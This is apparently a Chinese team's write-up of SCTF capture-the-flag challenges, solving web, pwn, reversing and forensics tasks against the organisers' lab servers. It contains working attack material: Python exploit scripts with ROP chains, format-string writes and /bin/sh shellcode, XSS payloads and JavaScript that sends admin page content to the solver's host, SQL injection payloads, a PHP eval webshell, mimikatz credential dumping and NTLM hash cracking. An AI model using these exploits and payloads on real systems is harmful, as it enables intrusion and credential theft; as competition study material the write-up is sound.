Misc10
苦逼的程序员啊
手持两把锟斤拷,口中疾呼烫烫烫
下联是什么呢?
Flag: 脚踏千朵屯屯屯,笑看万物锘锘锘
RE 50
如图,将输入的字符串每位加3后作比较
s=“6duFg3rJ”[::-1]
for i in s:
print chr(ord(i)-3),
脑补一个’k’
Flag=SCTF{Go0dCra3k}
PT100
gintama.sycsec.com
看来是要进入后台拿flag。
后台可以很快猜出来,但是有个基础认证。
Cy大屌说他好像在哪里看到过iis+php可以绕过基础认证。
So我百度了一下,找到了相关的文章。成功绕过验证。
Referer:http://wenku.baidu.com/link?url=gAakBjEaMadJOfXM45VWi3m4hlu2g7dupSnps7f2pOj8Xkh9rknQpA2osgvOwwbYPhNZk1Ui3WkEIbuvHHkmsMpnuQjf-R7JSqIdE2r021G
访问
http://gintama.sycsec.com/admin::$INDEX_ALLOCATION/index.php
接下来是一个不同寻常的注入点,利用的是false注入,在exploitdb上有相关的文章(PS:貌似是完全一样的代码哦,学习了。)
Referer:
http://www.exploit-db.com/papers/18263/
简单描述
表结构
/*
create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));
insert into users values(1, 'admin', 'ad1234');
insert into users values(2, 'wh1ant', 'wh1234');
insert into users values(3, 'secuholic', 'se1234');
*** login.php *** */
mysql> select * from users;
+-----+-----------+----------+
| num | id | password |
+-----+-----------+----------+
| 1 | admin | ad1234 |
| 2 | wh1ant | wh1234 |
| 3 | secuholic | se1234 |
+-----+-----------+----------+
3 rows in set (0.01 sec)
mysql> select * from users where id='';
Empty set (0.00 sec)
mysql> select * from users where id=0;
+-----+-----------+----------+
| num | id | password |
+-----+-----------+----------+
| 1 | admin | ad1234 |
| 2 | wh1ant | wh1234 |
| 3 | secuholic | se1234 |
+-----+-----------+----------+
3 rows in set (0.00 sec)
Id=0时可以列出所有的记录。
而注入点的语句是:
Select * from users where id=’+input+’ and password=’+input+’;
构造输入id=’-0%23&password=123456
因为mysql的强制转换特性,该语句被这样理解了。
Select * from where id=’’-0# and password=’123456’;
à Select * from users where id=(0-0)#
àselect * from users where id=0
成功拿到flag。
Flag: SCTF{Bypass_Auth_aNd_Easy_SQLi}
MISC 200
题目:
下载得到一个压缩包,里面有张图片,丢hex工具查看。
发现存在zip压缩包,于是用foremost分离得到以下文件
第一天时zip存在解压密码,3.jpg用stegdetect发现jphide隐写,尝试无果,直接到第二天出现新提示。
tips:密钥即为文件名
于是尝试用mp3stego,sctf解压4.zip发现不成功,猜想其他解法。查阅资料发现zip伪加密。
存在区别,于是尝试把01->00,再尝试打开,没有提示输入密码成功解压得到mp3stego。
用mp3stego工具对文件进行解密。
此处密码为sctf(最初jpg的文件名)。
玩过MC的一看端口便知道这是minecraft开放的端口,下面应该就是flag的坐标。
附图:
PT200
kali.sycsec.com
我们不是来要0DAY的,其实已经有公开的方法来bypass.
tips:XSS+MySQL error-based PS:建议参赛人员使用最新版chrome测试
有tip就是好,不用绕弯路了。
毕竟我们队友CTF专业空气队员@P总,直接给了我一个xss的payload。
首页查看源代码可以看到一个输出的测试页面。
然后~
Payload:#link rel=import href=http://xxx/test.php# (##换为<>)
Test.php的代码是
<?php
header("Access-Control-Allow-Origin:*");
?>
马上开始打管理员的cookie。
http://kali.sycsec.com/post.php,这是一个留言板。
直接输入payload
找了个xss平台,修改代码,提交,多输入几次打到了cookie。
不知道是成信院哪位大牛的电脑呢~
拿到了后台地址,挂上cookie,登陆。
发现居然403了。
猜测是IP限制,又试了一下ip伪造。
结果。。
好吧。。
想到写(zhao)了个js获取管理员页面的内容。
Js内容如下:
//构建xhrrequest包
function createXHR () {
var request = false;
if (window.XMLHttpRequest) {
request = new XMLHttpRequest();
if (request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for (var i = 0; i < versions.length; i++) {
try {
request = new ActiveXObject(versions);
} catch (e) {}
}
}
return request;
}
//get方式
function get (xhr, url) {
xhr.open("GET", url, false);
xhr.send();
return xhr.responseText;
}
var xhr = createXHR();
var x = get(xhr,'http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/');
get(xhr,"http://test/login.php?key="+escape(x));
其中login.php是用于把传回的代码写入我本地的一个文件中。
返回结果如下:
根据题目的tip,这应该是一个报错注入。
使用了网络上的几个老的报错注入的payload,结果都没成功。(主办方自己写了一个过滤脚本)
一些新型的报错注入payload又出现各种问题(我本机测试可以用的,服务器就不能用;服务器可以用的,我本机不能测试成功,因为主办方服务器mysql版本为5.1,我本机为5.6)
最终使用payload如下:
http://kali.sycsec.com/ebcb6eb2004d1f4086ef87cdf5d678c3/flag.php?id=1 and (select 1 from (select count(*),concat((select thisisflag from flag limit 0,1),left(rand(),3))x from information_schema.tables group by x) as yinfu)
过程不表,flag在当前库的flag表下thisisflag字段下。
修改js,给管理员发留言。
得到返回:
FLAG:SCTF{x55_And_SqLinject}
PS:
报错注入payload大全:http://blackfan.ru/mysql_game_v2/
Pwn200
程序需要两次输入,第一次的输入有一字节的溢出,可以修改第二次输入的长度。
程序后面有个strlen判断输入长度,用/x00截断即可绕过。经过以一次一字节溢出修改nbytes变量大小,修改后第二次输入出现栈溢出。
Exp如下:
#coding:utf-8
__author__ = 'Dazdingo'
from socket import *
import struct
import time
import threading
import sys
is_recv = True
sock_host = '192.168.206.130'
sock_port = 8080
S = socket(AF_INET, SOCK_STREAM)
def send(ss, tail = ''):
global S
if tail:
ss += tail
print ss
S.send(ss)
def outputrecv():
global S
while 1:
if is_recv:
i = S.recv(1024)
if i:
sys.stdout.write(i)
def start_recv():
#start recv
t = threading.Thread(target = outputrecv, args = ())
t.daemon = True
t.start()
def get_shell():
#start recv
start_recv()
global S
while 1:
time.sleep(0.1)
ss = raw_input() + '\n'
S.send(ss)
def main():
global S
if len(sys.argv) == 3:
sock_host = sys.argv[1]
sock_port = int(sys.argv[2])
S.connect((sock_host, sock_port))
a = raw_input('pause')
print S.recv(1024)
send('syclover\x001111111\xf0')
print S.recv(1024)
ebp = '\x20\x99\x04\x08'
libc = '\x5c\x98\x04\x08' #__libc_start_main
retaddr1 = '\xa0\x83\x04\x08' # write
retaddr2 = '\xbe\x85\x04\x08' #pop;pop;pop;ret
pop_ebp_ret = '\xc0\x85\x04\x08'
retaddr3 = '\x60\x83\x04\x08' # read
retaddr4 = '\xd2\x85\x04\x08' #leave ret
send('A'*0x9c + ebp + retaddr1 + retaddr2 + '\x01\x00\x00\x00' + libc + '\x04\x00\x00\x00' +pop_ebp_ret + ebp + retaddr3 + retaddr4 + '\x00\x00\x00\x00' + '\x24\x99\x04\x08' + '\xf0\x00\x00\x00' )
time.sleep(1)
l = S.recv(1024)
libcaddr = struct.unpack('I', l)[0]
print '__libc_start_main:',hex(libcaddr)
system = libcaddr + 0x26050
send(struct.pack('I', system) + 'AAAA'+'\x30\x99\x04\x08' + '/bin/sh\x00')
get_shell()
if __name__ == '__main__':
main()
CODE200
题目的意思是:知道一个数,分解为若干(-2)^i的和,i是位数,求i的组合。
如
eg1:
202
8 7 6 4 3 2 1
202=(-2)^8+(-2)^7+(-2)^6+(-2)^4+(-2)^3+(-2)^2+(-2)^1
=256-128+64+16-8+4-2
eg2:
515
10 9 2 1 0
515=(-2)^10+(-2)^9+(-2)^2+(-2)^1+(-2)^0
解法与10进制转2进制类似,不过要注意每位的正负不同
代码:
from socket import *
HOST='218.2.197.248'
PORT=10007
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST,PORT))
while True:
input=int(s.recv(1024),10)
print input
step=0
ans=''
list=[]
while input:
if step%2==0:
flag=-1
else:
flag=1
if input%2==1:
input=input+flag
list.append(str(step))
#else:
input=input/2
step=step+1
list.reverse()
for i in list:
ans=ans+' '+ i
print ans
s.send(ans)
s.close()
Misc300
内网攻击数据包分析
FLAG格式: SCTF{syclover用户的明文}
LINK:http://download.sycsec.com/misc/b48d97c14a09217ee8cc1d586ca14e2f.pcap
下载后发现这个包很小,主要关注到smb协议的数据包。
按照题目的意思,需要获取到syclover的明文密码,这应该就是一个内网的smb劫持攻击了,查看了smb包里面的challenge值确实也是1122334455667788
抓到hash是:
LMHASH:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448
NTHASH:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475
去下载了个16G的彩虹表。
开始halflmchall hash攻击。
使用工具rcracki_mt先猜解前几位(不区分大小写)很快破解出结果
前七位:NETLMIS
接下来继续使用破解出来的字符串做种子破解整个密码,使用到john-ntlm.pl,
现将hash保存成如下格式:
syclover::ROOT-53DD5427BC:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:1122334455667788
执行:
./john-netntlm.pl --seed "NETLMIS" --file /tmp/1.txt
得到最终的用户密码为:
NetLMis666
那么FLAG:
SCTF{NetLMis666}
本解题方法大量参考看雪某文章,原帖贴出:
http://bbs.pediy.com/showthread.php?p=1203990
pwn300
在print message里有个格式化字符串漏洞,同时有个把字符串copy到栈里有利于利用。
Exp如下
#coding:utf-8
__author__ = 'Dazdingo'
from socket import *
import struct
import time
import threading
import sys
is_recv = True
sock_host = '192.168.206.130'
sock_port = 8080
S = socket(AF_INET, SOCK_STREAM)
def send(ss, tail = '', r = False):
global S
if tail:
ss += tail
print ss
S.send(ss)
if r:
print S.recv(1024)
def recv_until(str):
data = S.recv(1024)
e = data.find(str)
while 1:
if e == -1:
data = S.recv(1025)
e = data.find(str)
else:
break
return data, e
def outputrecv():
global S
while 1:
if is_recv:
i = S.recv(1024)
if i:
sys.stdout.write(i)
def start_recv():
#start recv
t = threading.Thread(target = outputrecv, args = ())
t.daemon = True
t.start()
def get_shell():
#start recv
start_recv()
global S
while 1:
time.sleep(0.1)
ss = raw_input() + '\n'
S.send(ss)
def main():
global S
if len(sys.argv) == 3:
sock_host = sys.argv[1]
sock_port = int(sys.argv[2])
S.connect((sock_host, sock_port))
a = raw_input('pause')
print S.recv(1024)
send('2\n', r = 1)
send('%279$x\n', r = 1)
send('3\n')
data, e = recv_until('message is:')
print data, e
leak_memory = int(data[e+11:e+19], 16)
send('2\n', r = 1)
send('%266$x\n', r = 1)
send('3\n')
data, e = recv_until('message is:')
print data, e
ebp = int(data[e+11:e+19], 16)
call_system = leak_memory + 0x25E24
s = hex(call_system)
print 'call_system, ebp is', s, hex(ebp)
ret_add1 = struct.pack('I', ebp-0x2c)
ret_add2 = struct.pack('I', ebp-0x2a)
arg0 = struct.pack('I', ebp-0x24)
arg1 = struct.pack('I', ebp-0x20)
num_send1 = int(s[6:10], 16)
num_send2 = int(s[2:6], 16) - num_send1
send('2\n', r = 1)
send('%16$n%17$n%'+ str(num_send1) + 'x%18$n%' + str(num_send2) + 'x%19$n' + '\x20'*(12-len(str(num_send1))-len(str(num_send2))) + arg0 + arg1 +ret_add1 +ret_add2 + '\n', r = 1)
send('3\n', r = 1)
get_shell()
if __name__ == '__main__':
main()
PT400
在blog的左下角发现网站http://idc.sycsec.com/
http://idc.sycsec.com/index.php?page=2
存在注入,联合查询,字段数为1,可以注入
获得管理员的密码
+----+---------+------------------+----------------------------------+
| id | IsAdmin | UserName | UserPass |
+----+---------+------------------+----------------------------------+
| 1 | 1 | administratoroot | 89479a64d0965246c032d813efd7d360 |
| 2 | 0 | iamguest | 084e0343a0486ff05530df6c705c8bb4 |
+----+---------+------------------+----------------------------------+
在网站首页的左下角发现一个bug report页面
通过sql注入来构造一个xss页面
http://idc.sycsec.com/?page=-1%0Aunion%0Aselect%0A0x3C736372697074207372633D22687474703A2F2F6573752E696D2F702E6A73223E3C2F7363726970743E--+
提交给管理员后打到后台地址
http://idc.sycsec.com/c80e93890227fbda63cfc29486ce041e/
用之前注入出的用户名登陆
上传,经过fuzz测试,无法上传带有“<?”的上传文件
于是上传如下脚本,通过
<script language="php">eval($_POST[a]);</script>
之后在服务器上没有太多发现,只有一份wordpress的源码。
下载下来之后和官方进行比对,发现在
http://blog.sycsec.com/fc0ea94c722b1fd7f9257f3087ac45d1/wp-includes/revision.php
文件中被加入了后门
计算出wp-sesion为下列值中的任意一个,就可以通过assert来执行任意代码。
P1B7R0D
Q0C6S1E
R3@5P2F
S2A4Q3G
T5F3V4@
U4G2W5A
V7D1T6B
W6E0U7C
通过hatchet来连接后门,在数据库中获得flag
Misc400a
这是捕获的黑客攻击数据包,LateRain用户的密码在此次攻击中泄露了,你能找到吗?
FLAG格式:SCTF{LateRain的明文密码}
LINK: http://download.sycsec.com/misc/ca7ddad530b04af3b3486a5c75fcf18b.zip
下载了数据包,发现数据量很多。经过剔除,可以发现里面有少量http包。估计pcap包中大量的tcp数据是为了做炮灰的。
一个http数据包的内容如下:
明眼人一眼看出这应该是个菜刀的数据包,config.php应该是被入侵后的一句话木马。
整个pcap中大概就几十条http的数据流,一条一条看下来。发现入侵者用winrar打包了一个文件,然后下载了该文件。
用wireshark可以直接提取出该rar文件。
而这是一个加密的rar文件,将菜刀post过去的关键数据base64解密一下,发现使用了该命令打包。
C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif –hpJJBoom
密码就是JJBoom
解开压缩包得到一个1.gif,使用c32asm打开,
根据文件头MDMP,知道这是一个内存的dump文件。
载入到神器mimikatz中
使用两条命令
mimikatz # sekurlsa::minidump 1.dmp
//载入dmp文件
mimikatz # sekurlsa::logonPasswords full
//读取登陆密码
密码是
但是这不是flag。。
因为
要先log,把输出都输出到一个txt里查看。
FLAG:
SCTF{
PS:本题是赛后才做出来的。我们队没有把这道题做出来,我们队以为又是SMB攻击。(另外最坑爹的是比赛时某位屌丝队友都用foremost拿到了rar还不说)
RE200
题目描述:
下载下来是个APK文件。
解压,Dex2jar反编译,得到源码,看MainActivity.java
分析关键位置,可以看出func函数返回为真,则可toast出Flag。
于是分析func函数,先解密各个字符串,基本上都是-1,-2,-3简易加密的。
输入的字串,第一次变换是与自己所在的标号异或。第二次变换可能是syc(对应长度为6)和xctf(对应长度为9)两种之一,做了下移位。
第三次变换是对大写字母,小写字母,和除此之外其他情况做了处理,得到的字符串的前11位可以通过解方程得到,GoodCracK3R。
11位之后的数,经过处理后又和a8e5588f7e3f758比较,相等才返回1,总共15位,那肯定是8位输入,对应15或16位,于是把这8位跑了一下,测试了下结果。
和前面的GoodCracK3R结合起来,为"GoodCracK3R;{0jN|B6",然后倒推第二次变换和第一次变换,就可推出KEY
FLAG:xctf{hgJ7Q=|8a\wV;A~}}Wc}
pwn400
node之间通过双向链表连接起来,show node可以回显node在内存中的地址,edite node可以过界修改一个node的content,从而覆盖next node的头部。类似于堆溢出的利用。
程序没有nx,可直接执行shellcode。
Exp如下
#coding:utf-8
from socket import *
import struct
import time
import threading
import sys
is_recv = True
sock_host = '192.168.206.130'
sock_port = 8080
S = socket(AF_INET, SOCK_STREAM)
def send(ss, tail = '', recv = False):
global S
if tail:
ss += tail
print ss
S.send(ss)
if recv:
print S.recv(1024)
def outputrecv():
global S
while 1:
if is_recv:
i = S.recv(1024)
if i:
sys.stdout.write(i)
def start_recv():
#start recv
t = threading.Thread(target = outputrecv, args = ())
t.daemon = True
t.start()
def get_shell():
#start recv
start_recv()
global S
while 1:
time.sleep(0.1)
ss = raw_input() + '\n'
S.send(ss)
def main():
global S
if len(sys.argv) == 3:
sock_host = sys.argv[1]
sock_port = int(sys.argv[2])
S.connect((sock_host, sock_port))
a = raw_input('pause')
print S.recv(1024)
#first node
send('1', recv = True)
send('111', recv = True)
send('111', recv = True)
send('111', recv = True)
print S.recv(1024)
#second node
send('1', recv = True)
send('222', recv = True)
send('222', recv = True)
send('222', recv = True)
print S.recv(1024)
#third node
send('1', recv = True)
send('333', recv = True)
send('333', recv = True)
send('333', recv = True)
time.sleep(1)
print S.recv(1024)
#record first node pointer
send('3', recv = True)
send('111')
data = S.recv(1024)
print data
e = data.find('location:')
while 1:
if e == -1:
data = S.recv(1024)
e = data.find('location:')
else:
break
print e, data[e+9:e+19]
p_first_node = int(data[e+9:e+19], 16)
#record second node pointer
send('3', recv = True)
send('222')
data = S.recv(1024)
print data
e = data.find('location:')
while 1:
if e == -1:
data = S.recv(1024)
e = data.find('location:')
else:
break
p_second_node = int(data[e+9:e+19], 16)
print 'pointer of first,second node:', hex(p_first_node), hex(p_second_node)
nops = '\x90'* (p_second_node - p_first_node - 108)
jmp = '\xeb\x06\x90\x90\x90\x90\x90\x90'
#exec /bin/sh - 43 bytes
buf = ""
buf += "\xdd\xc2\xd9\x74\x24\xf4\x5b\x2b\xc9\xba\x39\x29\xde"
buf += "\xee\xb1\x0b\x31\x53\x1a\x83\xc3\x04\x03\x53\x16\xe2"
buf += "\xcc\x43\xd5\xb6\xb7\xc6\x8f\x2e\xea\x85\xc6\x48\x9c"
buf += "\x66\xaa\xfe\x5c\x11\x63\x9d\x35\x8f\xf2\x82\x97\xa7"
buf += "\x0d\x45\x17\x38\x21\x27\x7e\x56\x12\xd4\xe8\xa6\x3b"
buf += "\x49\x61\x47\x0e\xed"
shellcode = jmp+buf
#edite first node
send('4', recv = True)
send('111', recv = True)
send(nops + struct.pack('I', p_second_node) + '\x70\xa4\x04\x08' + struct.pack('I', p_second_node + 0xc) + shellcode)
#delete node
send('5', recv = True)
send(hex(p_second_node)[2:10], recv = True)
get_shell()
if __name__ == '__main__':
main()
PT500
渗透进三叶草花卉公司,寻找一个名为torrent的文件 公司网址:corp.sycsec.com
这个渗透环节出的屌死了~
http://corp.sycsec.com/news.html
查看源代码,可以看到。
查社工库,查到妹纸密码是:971989823
结合在新闻页面的提示:
于是访问http://report-man.sycsec.com/login.php
工号SYC083
密码971989823
成功登陆,有一个文件上传,一开始以为是绕过上传漏洞,结果最后发现文件名处存在注入。
没有任何限制,直接用sqlmap跑。
根据提示,
重点关注数据库中名为刘明的用户。
得到其邮箱
liuming@sycsec.com
而小静的邮箱是
xiaojing@sycsec.com
于是猜测有一个员工邮箱系统。
LINK:http://mail.sycsec.com/login.php
用户名 liuming@sycsec.com
密码 liuming123
登陆成功
登陆后发现大概有这样几篇邮件比较关键。
发件人:Information Tech [IT@sycsec.com]
时间: 2014-09-01
===================================
通知:
公司VPN地址:vpn.sycsec.com
默认用户名:工号 (如:SYC001)
默认登录密码:工号 + 生日 (如:工号为SYC001,生日为19900101的用户,密码为:SYC001900101)
Information Tech
Do not Reply
发件人:Information Tech [IT@sycsec.com]
时间: 2014-11-20
===================================
通知:
最近文件共享服务器受到源于内部的暴力破解攻击,现在未确定攻击者
请大家切记把密码改复杂!防止资料泄漏!
Information Tech
Do not Reply
发件人:Information Tech [IT@sycsec.com]
时间: 2014-11-25
===================================
通知:
我们的VPN系统出现了问题,现在换成了旧版本系统,可能操作不太方便
但是大家先暂时忍受一下,我们会即使处理该问题的,谢谢合作
Information Tech
Do not Reply
首先关注到vpn.sycsec.com
根据隐藏信息,有个默认登陆密码,于是用burpsuite爆破。
最终得到用户名与密码
SYC079
SYC079940927
登陆后发现这就是一个网页版本的curl。
根据题意,需要得到一个名为torrent的文件,猜测应该在file.sycsec.com服务器上。
而file.sycsec.com我本机无法访问,应该就是要用vpn做跳板来攻击。
于是尝试
居然也无法访问。几经尝试,ping了一下file.sycsec.com
这是一个内网IP。可能vpn这台服务器上没有dns解析服务。于是尝试访问http://10.24.13.37/index.php
跳转到了login.php
结果又是一个登陆系统,然后我们就一直在尝试爆破密码,各种密码组合,花了几个小时都没有拿下。比赛比赛快结束的时候,cy大屌扫了一下目录,发现居然存在/.svn/这个目录。K牛马上想到了svn泄露漏洞,于是乎~
http://10.24.13.37/.svn/wc.db
下载之~
Svn泄露漏洞的原理是程序员写代码后没有使用svn export,而是直接把版本库中的源码复制到web目录。于是.svn这个隐藏文件夹也被复制过去了。
SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录)。
并且在最新版本中,副本文件名被hash了,文件格式为:
hash前两位/hash.svn-base
但是这都可以在wc.db文件中读取到。
如图
Sys_incude/.htccess的hash是$sha1$43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07
那么其副本文件就放在
/.svn/pristine/43/43b6ec45bd6ea6da7e3b7c313b2cc4d3279afd07.svn-base
一开始读了 login.php down.php几个关键文件的源码,发现都没有漏洞。
后来发现有个syc_include/.htaccess,很可疑,读取之,代码如下。
这是一个后门程序,只要是sys_include目录下任意php文件执行时,都会自动包含images/copper.png.
下载之~
发现文件尾存在着加过密的php代码。
看格式应该是php神盾加密。网上可以解密。
LINK: http://blog.99tk.cn/decode#
解密后代码如下:
<?php
if (!function_exists('scandir')) {
function scandir($cwd) {
$files = array();
$dh = opendir($cwd);
while ($file = readdir($dh)) {
$files[] = $file;
}
return $files ? $files : 0;
}
}
if (isset($_GET['fil3'])) {
$filename = $_GET['fil3'];
if (is_file($filename) && is_readable($filename)) {@ob_end_clean();
$fileinfo = pathinfo($filename);
if (function_exists('mime_content_type')) {
$type = @mime_content_type($filename);
header("Content-Type: ".$type);
} else {
header('Content-type: application/x-'.$fileinfo['extension']);
}
header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
header('Content-Length: '.sprintf("%u", @filesize($filename)));@readfile($filename);
exit;
} else {
$errmsg = 'Can not find file';
echo "<script>alert('$errmsg');window.location='index.php';</script>";
}
}
elseif(isset($_GET['d1r'])) {
$files = @scandir($_GET['d1r']);
if ($files) {
$files = array_diff($files, array('..', '.'));
echo "<pre>";
foreach($files as $file) {
echo $file.
"\r\n";
}
echo "</pre>";
}
} else {
header("Location: ../index.php");
}?>
可以列目录,但是应该是因为权限原因,只能列tmp目录。Tmp目录下有session文件,可以使用这些session,登陆。
如图。
访问index.php的时候带上cookie。
将所有session放入burpsuite跑一遍,发现只有
PHPSESSID=ad5fe3a692726d8c8a1524cac84085c3
时登陆成功。
继续审计源码,有一个down.php
<?php
session_start();
require_once 'syc_include/func.php';
if (!isset($_SESSION['login_file']) || $_SESSION['login_file'] !== 1) {
header('Location: login.php');
exit;
}
if (isset($_GET['file'])) {
$file = $_GET['file'];
//Base
$file = str_replace('..', '', $file);
$file = str_replace('/', '', $file);
$file = str_replace('\\', '', $file);
//Win short name
$file = str_replace('~', '', $file);
//ADS
$file = str_replace(':', '', $file);
download($user_cwd.$file);
}
?>
应该是用于文件下载的。接着读syc_include/func.php源码,
<?php
@error_reporting(7);
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
$user_cwd = $_SERVER['DOCUMENT_ROOT'].'/file/files/'.$_SESSION['number'];
foreach (array('user_cwd') as $k) {
if (IS_WIN) {
$$k = str_replace('\\', '/', $$k);
}
if (substr($$k, -1) != '/') {
$$k = $$k.'/';
}
}
if(!function_exists('scandir')) {
function scandir($cwd) {
$files = array();
$dh = opendir($cwd);
while ($file = readdir($dh)) {
$files[] = $file;
}
return $files ? $files : 0;
}
}
function download($filename) {
if (is_file($filename) && is_readable($filename)) {
@ob_end_clean();
$fileinfo = pathinfo($filename);
if (function_exists('mime_content_type')) {
$type = @mime_content_type($filename);
header("Content-Type: " . $type);
} else {
header('Content-type: application/x-' . $fileinfo['extension']);
}
header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
header('Content-Length: ' . sprintf("%u", @filesize($filename)));
@readfile($filename);
exit ;
} else {
$errmsg = 'Can not find file';
echo "<script>alert('$errmsg');window.location='index.php';</script>";
}
}
function getFileList($path){
global $user_cwd;
$j=0;
$files = @scandir($path);
if ($files) {
$files = array_diff($files, array('..','.'));
foreach ($files as $file) {
$f=str_replace('//','/',$path.'/'.$file);
$filedata[$j]['filename']=str_replace($user_cwd,'',$f);
$filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$j++;
}
return $filedata;
} else {
return array();
}
}
?>
发现只能下载/file/files/$_SESSION['number']下面的文件(硬编码了),而且file目录不存在,所以这个down.php根本没用。(不知道是主办方刻意为之还是疏忽)
但是存在着files目录,而$_SESSION['number']可以通过读tmp下面的缓存文件得知。
说明$_SESSION['number']存着就是工号SYCXXX
于是继续用burpsuite暴力跑一遍files/sycxxx/torrent 所有目录下面的torrent文件。
得到flag:SCTF{FuNny_Pene7ration_Test}
PS:本题是赛后做出来的,答题时并没有做出来。(我能说最后槽点太高了么?你们不知道机智赛棍会啥也不管,不审计,不分析,直接暴力跑SYCXXX么!!!)
::L TEAM::
Comment Closed.